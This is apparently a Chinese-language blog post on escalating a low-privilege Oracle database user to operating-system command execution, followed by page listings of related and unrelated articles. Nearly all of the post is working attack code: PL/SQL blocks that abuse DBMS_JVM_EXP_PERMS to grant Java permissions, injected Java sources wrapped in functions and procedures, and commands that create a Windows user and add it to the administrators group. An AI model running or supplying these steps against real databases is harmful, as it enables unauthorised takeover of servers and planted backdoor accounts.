0x01 提权准备

这里我们先创建一个低权限的用户test

SQL> conn sys/admin123@orcl as sysdba;

已连接。

SQL> create user test identified by test;

然后查看一下权限

SQL> select * from session_privs;

PRIVILEGE

CREATE SESSION

如上显示,test没有JAVA权限,也只有CREATE SESSION权限

我们如果要通过数据库执行系统命令,那么首先要提升数据库用户的权限。

我们首先要获取java权限

DECLARE

    POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;

    CURSOR C1 IS SELECT 'GRANT', 'ZTZ', 'SYS', 'java.io.FilePermission', '<<ALL

 FILES>>', 'execute', 'ENABLED' FROM DUAL;

    BEGIN

    OPEN C1;

    FETCH C1 BULK COLLECT INTO POL;

    CLOSE C1;

    DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);

    END;

   /

如果想要执行任意代码的话还需要额外获得java.lang.RuntimePermission权限

DECLARE

    POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;

    CURSOR C1 IS SELECT 'GRANT', USER(), 'SYS', 'java.lang.RuntimePermission',

'writeFileDescriptor', 'NULL', 'ENABLED' FROM DUAL;

    BEGIN

    OPEN C1;

    FETCH C1 BULK COLLECT INTO POL;

    CLOSE C1;

    DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);

    END;

   /

 DECLARE

    POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;

    CURSOR C1 IS SELECT 'GRANT', USER(), 'SYS', 'java.lang.RuntimePermission',

'readFileDescriptor', 'NULL', 'ENABLED' FROM DUAL;

    BEGIN

    OPEN C1;

    FETCH C1 BULK COLLECT INTO POL;

    CLOSE C1;

    DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);

    END;

   /

0x02 JAVA权限执行命令

用我们的test帐号登录

1、首先我们创建java包

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;

2、然后我们获取java权限

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual;

3、创建我们用来执行命令的函数

select dbms_xmlquery.newcontext('declar
e PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;

4、执行命令

select LinxRUNCMD('whoami') from dual;

0x03 存储过程执行命令

若我们有create procedure权限,而不只是create session这么苦逼时,我们可以创建一个java class然后用创建一个过程来进行调用

1、首先创建一个java class然后用procedure包装它进行调用

create or replace and resolve java source named JAVACMD as

    import java.lang.*;

    import java.io.*;

    public class JAVACMD

    {

       public static void execmd(String command) throws IOException

       {

               Runtime.getRuntime().exec(command);

       }

   }

   /

2、创建调用的包

create or replace procedure MYJAVACMD(command in varchar) as language java

    name 'JAVACMD.execmd(java.lang.String)';

/

3、执行我们的命令

EXEC MYJAVACMD('net user qingxin qingxin /add');

会报错是因为代码中没有捕获异常,我们再执行一次即可

附上一把梭哈

CREATE OR REPLACE AND RESOLVE Java SOURCE NAMED "JAVACMD" AS

import java.lang.*;

import java.io.*;public class JAVACMD

{public static void execCommand (String command) throws IOException

{

Runtime.getRuntime().exec(command);

}

};/

CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2)

AS LANGUAGE JAVA

NAME 'JAVACMD.execCommand (java.lang.String)';/

exec javacmdproc('cmd.exe /c net user qingxin qingxin /add');

exec javacmdproc('cmd.exe /c net localgroup administrators qingxin /add');

Oracle数据库提权(dba权限执行系统命令)的更多相关文章

  1. Oracle数据库提权(低权限提升至dba)

    0x01 Oracle存储过程”缺陷” 在 Oracle 的存储过程中,有一个有趣的特点:运行权限.运行权限分为两种,definer 和 invoker. definer 为函数创建者的权限,而 in ...

  2. Oracle数据库提权

    一.执行java代码 简介 oracle提权漏洞集中存在于PL/SQL编写的函数.存储过程.包.触发器中.oracle存在提权漏洞的一个重要原因是PL/SQL定义的两种调用权限导致(定义者权限和调用者 ...

  3. 删除oracle数据库用户的dba权限(当出现同一用户DBA可以登录,normal不能登录)“无法对SYS拥有的对象创建触发器”

    系统报错:“无法对SYS拥有的对象创建触发器”,搞不懂是什么原因了,到底这触发器要用什么用户才能建立啊? ORA-04089: 无法对 SYS 拥有的对象创建触发器 第一种方式: 首先,用sys用户a ...

  4. MySQL数据库提权(一)

    一.获取Mysql登录账号和密码 1.数据库提权需要知道数据库的账号密码.以及它的配置文件,一般配置文件都在网站的根目录下,这些配置文件命名有鲜明的特征,如:conn.config.data.sql. ...

  5. RHSA-2017:2930-重要: 内核 安全和BUG修复更新(需要重启、存在EXP、本地提权、代码执行)

    [root@localhost ~]# cat /etc/redhat-release CentOS Linux release 7.2.1511 (Core) 修复命令: 使用root账号登陆She ...

  6. RHSA-2017:2299-中危: NetworkManager 和 libnl3 安全和BUG修复更新(本地提权、代码执行)

    [root@localhost ~]# cat /etc/redhat-release CentOS Linux release 7.2.1511 (Core) 修复命令: 使用root账号登陆She ...

  7. RHSA-2017:1842-重要: 内核 安全和BUG修复更新(需要重启、存在EXP、本地提权、代码执行)

    [root@localhost ~]# cat /etc/redhat-release CentOS Linux release 7.2.1511 (Core) 修复命令: 使用root账号登陆She ...

  8. RHSA-2018:0395-重要: 内核 安全和BUG修复更新(需要重启、本地提权、代码执行)

    [root@localhost ~]# cat /etc/redhat-release CentOS Linux release 7.2.1511 (Core) 修复命令: 使用root账号登陆She ...

  9. 使用PLSQL 创建Oracle数据库用户并设置权限

    转至https://blog.csdn.net/ying890/article/details/14083029?utm_medium=distribute.pc_relevant_download. ...

随机推荐

  1. BeanCopier类

    网上学习了一番BeanCopier类. cglib是一款比较底层的操作java字节码的框架. 下面通过拷贝bean对象来测试BeanCopier的特性: public class OrderEntit ...

  2. iptables的删除命令中的相关问题

    最近在做一个VPN中间件的配置工作,在配置iptables的时候,当用户想删除EIP(即释放当前连接),发现使用iptables的相关命令会提示错误. iptables: Bad rule (does ...

  3. 使用Bookinfo应用测试Kuma服务网格

    最近,开源API管理平台Kong服务供应商近日放出了新的开源项目Kuma.本文尝试将 bookinfo 应用部署在 Kuma 网格中,以便帮助大家更好的理解 Kuma 项目.   Kuma是能用于管理 ...

  4. 分别设计点类Point和圆类Circle,点类有两个私有数据纵坐标和横坐标;圆类有也两个私有数据圆心和半径,其中圆心是一个点类对象;要求如下所述: (1) 通过构造方法初始化数据成员,数据成员的初始化通过构造方法的参数传递;(2) 分别编写点和圆的输出函数,其中圆的输出包括圆心和半径的输出;点的输出x,y;

    题目相对简单: package naizi; public class Circle { //私有成员及构造方法 private Point center; private int r; Circle ...

  5. html中的空格

    网上摘录: HTML提供了6种空格实体.除第一种外,其他几种空格在不同浏览器中宽度各异.               它叫不换行空格,全称No-Break Space,它是最常见和我们使用最多的空格, ...

  6. redis常用操作-键的生存时间

    System.out.println("设置 key001的过期时间为5秒:"+jedis.expire("key001", 5)); System.out.p ...

  7. linux 指定tomcat的具体路径

    1.直接修改catalina.sh中对应的变量 CATALINA_HOME=/xx/xxCATALINA_BASE=/xx/xx (该方法需要找到所有的变量进行修改,不适合,推荐使用方式2) 2.在p ...

  8. python安装及pyCharm使用

    1.官网下载Python https://www.python.org/downloads/

  9. js常用Matn函数的操练

    Math.PI console.log(Math.PI); 随机数以及向下取整 这是一个能实现从a-b之间随机打印一个整数 function rand_s(a, b) { var x = a + (b ...

  10. C#刷遍Leetcode面试题系列连载(2): No.38 - 报数

    目录 前言 题目描述 相关话题 相似题目 解题思路: 运行结果: 代码要点: 参考资料: 文末彩蛋 前言 前文传送门: C# 刷遍 Leetcode 面试题系列连载(1) - 入门与工具简介 上篇文章 ...